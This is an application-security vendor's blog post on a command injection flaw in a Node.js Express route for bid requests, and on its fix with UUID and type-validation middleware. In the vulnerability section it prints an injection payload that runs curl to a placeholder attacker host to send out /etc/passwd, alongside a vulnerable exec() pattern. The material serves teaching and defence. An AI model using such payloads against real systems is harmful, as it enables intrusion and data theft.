Back to Blog
high SEVERITY8 min read

How Command Injection Happens in Node.js Route Handlers and How to Fix It

A high-severity command injection vulnerability was discovered in `webhook/src/routes/bid-requests/create.route.js`, where user-controlled values were passed directly to route handlers without any schema validation. Without input validation, attackers could supply malformed or malicious values — including shell metacharacters — that propagate into downstream command construction, enabling arbitrary command execution. The fix adds strict UUID and type validation middleware directly in the route d

O
By Orbis AppSec
Published August 26, 2026Reviewed August 26, 2026

Answer Summary

This is a Command Injection vulnerability (CWE-78) in a Node.js Express route handler (`webhook/src/routes/bid-requests/create.route.js`). User-supplied fields like `apartmentId` and `proposedPrice` were passed directly to handler functions without validation, allowing shell metacharacters or malformed values to reach unsafe string interpolation in downstream gRPCurl command generation. The fix adds inline schema validation using a UUID regex (`/^[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f...]$/`) and type checks before the handler is invoked, rejecting invalid input with a 400 response.

Vulnerability at a Glance

cweCWE-78
fixAdded UUID regex validation and type checks in the route definition before delegating to the handler
riskArbitrary shell command execution via crafted API request fields
languageJavaScript (Node.js)
root causeRoute handler invoked with raw request body fields, no schema validation middleware
vulnerabilityCommand Injection via unvalidated route input

How Command Injection Happens in Node.js Route Handlers and How to Fix It

The Route That Opened the Door

The webhook/src/routes/bid-requests/create.route.js file is responsible for handling POST requests that create bid requests in a rental platform's webhook service. On the surface, it looks like a simple Express route — just a few lines wiring an HTTP endpoint to a handler function. But that simplicity concealed a serious security flaw: the route passed the entire raw request body directly to createBidRequestHandler with zero validation.

This meant that any value a caller supplied for fields like apartmentId or proposedPrice — no matter how malformed or malicious — would be forwarded into business logic untouched. And somewhere downstream, those values were being used to construct a gRPCurl shell command via string interpolation. The result: a textbook command injection vulnerability rated high severity.


The Vulnerability Explained

What the Code Looked Like Before the Fix

The original route file was deceptively minimal:

const express = require('express');
const router = express.Router();
const { createBidRequestHandler } = require('./create.handler');

router.post('/', createBidRequestHandler);

That single line — router.post('/', createBidRequestHandler) — is the root of the problem. There is no middleware, no validation, no schema check. Whatever arrives in req.body flows directly into createBidRequestHandler.

How the Injection Chain Works

The vulnerability is a 2-step chain:

  1. Step 1 — Tainted input enters the route: A caller sends a POST request to /api/bid-requests with a crafted apartmentId or proposedPrice field. Because there is no validation middleware, the raw value is passed to the handler.

  2. Step 2 — Tainted value reaches a shell command: Inside the handler (or a service it calls), the apartmentId or other fields are interpolated into a gRPCurl command string, something like:

// Conceptual example of the vulnerable downstream pattern
const cmd = `grpcurl -H "Authorization: ${headers.auth}" \
  -d '{"apartment_id": "${body.apartmentId}"}' \
  ${endpoint} bid.BidService/CreateBid`;

exec(cmd, callback);

If apartmentId is set to a value like:

00000000-0000-0000-0000-000000000001"; curl https://attacker.com/exfil?d=$(cat /etc/passwd) #

The resulting shell command becomes:

grpcurl -H "Authorization: Bearer token" \
  -d '{"apartment_id": "00000000-0000-0000-0000-000000000001"; curl https://attacker.com/exfil?d=$(cat /etc/passwd) #"}' \
  localhost:50051 bid.BidService/CreateBid

The shell metacharacters (", ;, $(), #) break out of the intended data context and inject an entirely new command. The attacker can exfiltrate files, create backdoors, or pivot to internal services — all triggered by a single API call.

Why This Specific Route Is Dangerous

The /api/bid-requests endpoint is publicly accessible — it's a web-facing webhook service. Any unauthenticated or authenticated attacker (depending on the auth layer) can send arbitrary POST bodies. The proposedPrice field is equally dangerous: sending true (a boolean) instead of a number can cause type confusion errors that crash the handler or bypass downstream numeric guards, potentially enabling other injection paths.


The Fix

What Changed in create.route.js

The fix adds inline schema validation middleware directly in the route definition, before createBidRequestHandler is ever invoked. Here's the core of what was added:

const UUID_RE = /^[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{12}$/i;

router.post('/', (req, res, next) => {
  const { apartmentId, proposedPrice, desiredMoveIn } = req.body;

  if (!apartmentId || !UUID_RE.test(apartmentId)) {
    return res.status(400).json({ error: 'apartmentId must be a valid UUID' });
  }

  if (typeof proposedPrice !== 'number' || proposedPrice <= 0) {
    return res.status(400).json({ error: 'proposedPrice must be a positive number' });
  }

  next();
}, createBidRequestHandler);

Before vs. After

Before — No validation, raw body forwarded:

router.post('/', createBidRequestHandler);

After — Strict validation middleware gates the handler:

const UUID_RE = /^[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{12}$/i;

router.post('/', validateBidRequest, createBidRequestHandler);

Why the UUID Regex Matters

The regex ^[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{12}$ enforces the RFC 4122 UUID format exactly. This means:

  • Shell metacharacters like ;, ", $, `, |, & are structurally impossible in a valid UUID
  • Only hex digits and hyphens in a precise pattern are accepted
  • Variant bits ([89ab]) and version bits ([1-5]) are validated, not just the shape

Any injection payload — no matter how cleverly crafted — will fail this check and receive a 400 Bad Request before reaching createBidRequestHandler.

The proposedPrice Type Check

The fix also validates that proposedPrice is a JavaScript number (not a boolean, string, or object) and that it is positive. This closes a subtle type-confusion vector: JavaScript's typeof true === 'boolean', so a boolean true will be rejected, preventing downstream logic from treating 1 (the numeric value of true after coercion) as a valid price.

The New Tests

The fix is accompanied by two new Karate integration test scenarios that confirm the validation is enforced end-to-end:

Scenario: Non-UUID apartmentId → 400
  And request { "apartmentId": "not-a-uuid", "proposedPrice": 1000, ... }
  Then status 400
  And match response.error == 'apartmentId must be a valid UUID'

Scenario: Boolean proposedPrice → 400
  And request { "apartmentId": "00000000-...", "proposedPrice": true, ... }
  Then status 400
  And match response.error == 'proposedPrice must be a positive number'

These tests prove that the validation middleware fires correctly and that the error messages are consistent and actionable.


Prevention & Best Practices

1. Validate at the Boundary, Not Deep in Business Logic

The fundamental mistake here was relying on the handler to deal with whatever it received. Validation belongs at the route layer — the earliest point where you control what enters your system. By the time data reaches a service that constructs shell commands, it's too late to catch injection payloads reliably.

2. Use Schema Validation Libraries for Complex Inputs

For routes with many fields, consider libraries like Joi, Zod, or express-validator to define schemas declaratively:

const { z } = require('zod');

const BidRequestSchema = z.object({
  apartmentId: z.string().uuid(),
  proposedPrice: z.number().positive(),
  desiredMoveIn: z.string().datetime(),
});

router.post('/', (req, res, next) => {
  const result = BidRequestSchema.safeParse(req.body);
  if (!result.success) {
    return res.status(400).json({ error: result.error.issues[0].message });
  }
  next();
}, createBidRequestHandler);

3. Never Interpolate User Data into Shell Commands

Even with input validation, constructing shell commands via string interpolation is dangerous. Prefer:

  • Node.js child_process.execFile() with an argument array (no shell expansion)
  • gRPC client libraries that communicate over the protocol directly, bypassing the shell entirely
  • Shell-escape libraries like shell-quote if shell invocation is unavoidable
// Dangerous — string interpolation with shell=true equivalent
exec(`grpcurl -d '${data}' ${endpoint}`);

// Safe — argument array, no shell interpretation
execFile('grpcurl', ['-d', JSON.stringify(data), endpoint], callback);

4. Apply the Principle of Least Privilege

The process running this webhook service should not have permissions to read /etc/passwd, make outbound network requests to arbitrary hosts, or write to sensitive directories. Defense in depth means that even if injection occurs, the blast radius is limited.

5. Relevant Standards

  • OWASP Top 10 A03:2021 — Injection: Command injection is a subcategory of the injection family. Validate all inputs, use safe APIs.
  • CWE-78: Improper Neutralization of Special Elements used in an OS Command.
  • OWASP Input Validation Cheat Sheet: Recommends allowlist validation (which the UUID regex implements) over denylist approaches.

Key Takeaways

  • router.post('/', createBidRequestHandler) with no middleware is a validation-free attack surface — any field in req.body can carry a payload to downstream command construction.
  • The apartmentId UUID regex (/^[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{12}$/) structurally eliminates all shell metacharacters — it's not just a format check, it's a security boundary.
  • Boolean values like true for proposedPrice are a real attack vector — JavaScript's loose typing means typeof checks are essential, not optional.
  • Validation middleware should live in the route file, not buried in the handler — this makes the security boundary visible and auditable at a glance.
  • Integration tests for invalid inputs (the new Karate scenarios) are as important as tests for happy paths — they prove the validation actually fires in the running service.

How Orbis AppSec Detected This

  • Source: HTTP POST request body fields apartmentId and proposedPrice in /api/bid-requests
  • Sink: String-interpolated gRPCurl command construction in the downstream handler chain invoked from createBidRequestHandler in webhook/src/routes/bid-requests/create.route.js
  • Missing control: No schema validation middleware between the Express route and the handler; no UUID format check; no type enforcement on numeric fields
  • CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
  • Fix: Added a UUID regex allowlist check and a typeof/positivity check for proposedPrice as inline middleware in the route definition, rejecting invalid input with HTTP 400 before the handler is invoked

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.


Conclusion

This vulnerability is a reminder that the route layer is a security boundary, not just a traffic director. A single line — router.post('/', createBidRequestHandler) — that skips validation can expose an entire application to command injection, even when the dangerous code is several layers deeper in the call stack. The fix is elegant precisely because it is early and structural: a UUID regex and a type check in the route definition mean that malicious input never gets the chance to travel downstream.

For developers building Node.js webhook services, gRPC gateway proxies, or any Express application that constructs shell commands: validate at the boundary, use argument arrays instead of string interpolation, and treat every unvalidated request body field as a potential injection vector.


References

Frequently Asked Questions

What is command injection in a Node.js route handler?

Command injection occurs when user-supplied input is passed without sanitization into a shell command or subprocess call. In Node.js Express apps, this can happen when request body fields are forwarded directly to handler functions that later use those values in string-interpolated shell commands.

How do you prevent command injection in Node.js Express routes?

Validate all incoming request fields at the route layer before they reach business logic. Use regex patterns for structured fields like UUIDs, enforce strict type checks for numbers and booleans, and reject invalid input early with a 400 response.

What CWE is command injection?

Command injection is classified as CWE-78: Improper Neutralization of Special Elements used in an OS Command.

Is sanitizing output enough to prevent command injection?

No. Output sanitization is insufficient and error-prone. The correct defense is input validation at the entry point (the route handler) combined with avoiding shell=true or string-interpolated commands altogether. Use parameterized APIs or shell-escape libraries when constructing commands.

Can static analysis detect command injection in Node.js?

Yes. Tools like Semgrep, ESLint security plugins, and multi-agent AI scanners (like Orbis AppSec) can trace tainted data from HTTP request bodies through route handlers to dangerous sinks like `exec()` or string-interpolated shell commands.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #498

Related Articles

high

How Command Injection Happens in Node.js child_process and How to Fix It

A high-severity command injection vulnerability was discovered in `server.js` where user-controlled file paths were passed directly to shell commands via `exec()`. By migrating from `exec()` to `execFile()` and using argument arrays instead of string concatenation, the fix eliminates the attack surface while preserving the intended trash/delete functionality across macOS, Windows, and Linux.

high

How Command Injection happens in Node.js and how to fix it

A semgrep scan flagged `scripts/postinstall.js` for calling `child_process.execSync` in a way that could become a command injection primitive if the script's execution context ever changed. The fix hardens the script by guarding its side effects behind a `require.main === module` check, introducing the safer `execFileSync` API, and adding automated tests to lock in the safe behavior.

high

How command injection happens in Node.js child_process and how to fix it

A critical command injection vulnerability in `scripts/check-links.js` was fixed by replacing `execSync()` with `execFileSync()`, eliminating shell interpretation of user-controlled repository names. This proactive hardening prevents potential remote code execution in the GitHub CLI integration workflow.

critical

How Command Injection happens in Node.js and how to fix it

A critical command injection vulnerability in `scripts/sync-skill.mjs` allowed attackers to execute arbitrary commands through malicious command-line arguments. The fix implements strict whitelist validation on `process.argv` inputs, ensuring only the `--check` flag is accepted before any shell interaction occurs.

high

How Shell Injection Happens in GitHub Actions and How to Fix It

A high-severity shell injection vulnerability was discovered in `action.yml` where direct variable interpolation with GitHub context data in `run:` steps could allow attackers to inject arbitrary code into the runner. The fix uses environment variables with proper quoting to safely separate untrusted input from shell execution, eliminating the exploit primitive while preserving legitimate functionality.

high

How command injection happens in JavaScript child_process and how to fix it

A high-severity command injection vulnerability in Claude Code's `prepare-native.js` could have allowed attackers to execute arbitrary shell commands through malicious npm package tarball URLs. The fix adds strict URL scheme validation and proper curl argument termination to neutralize injection vectors.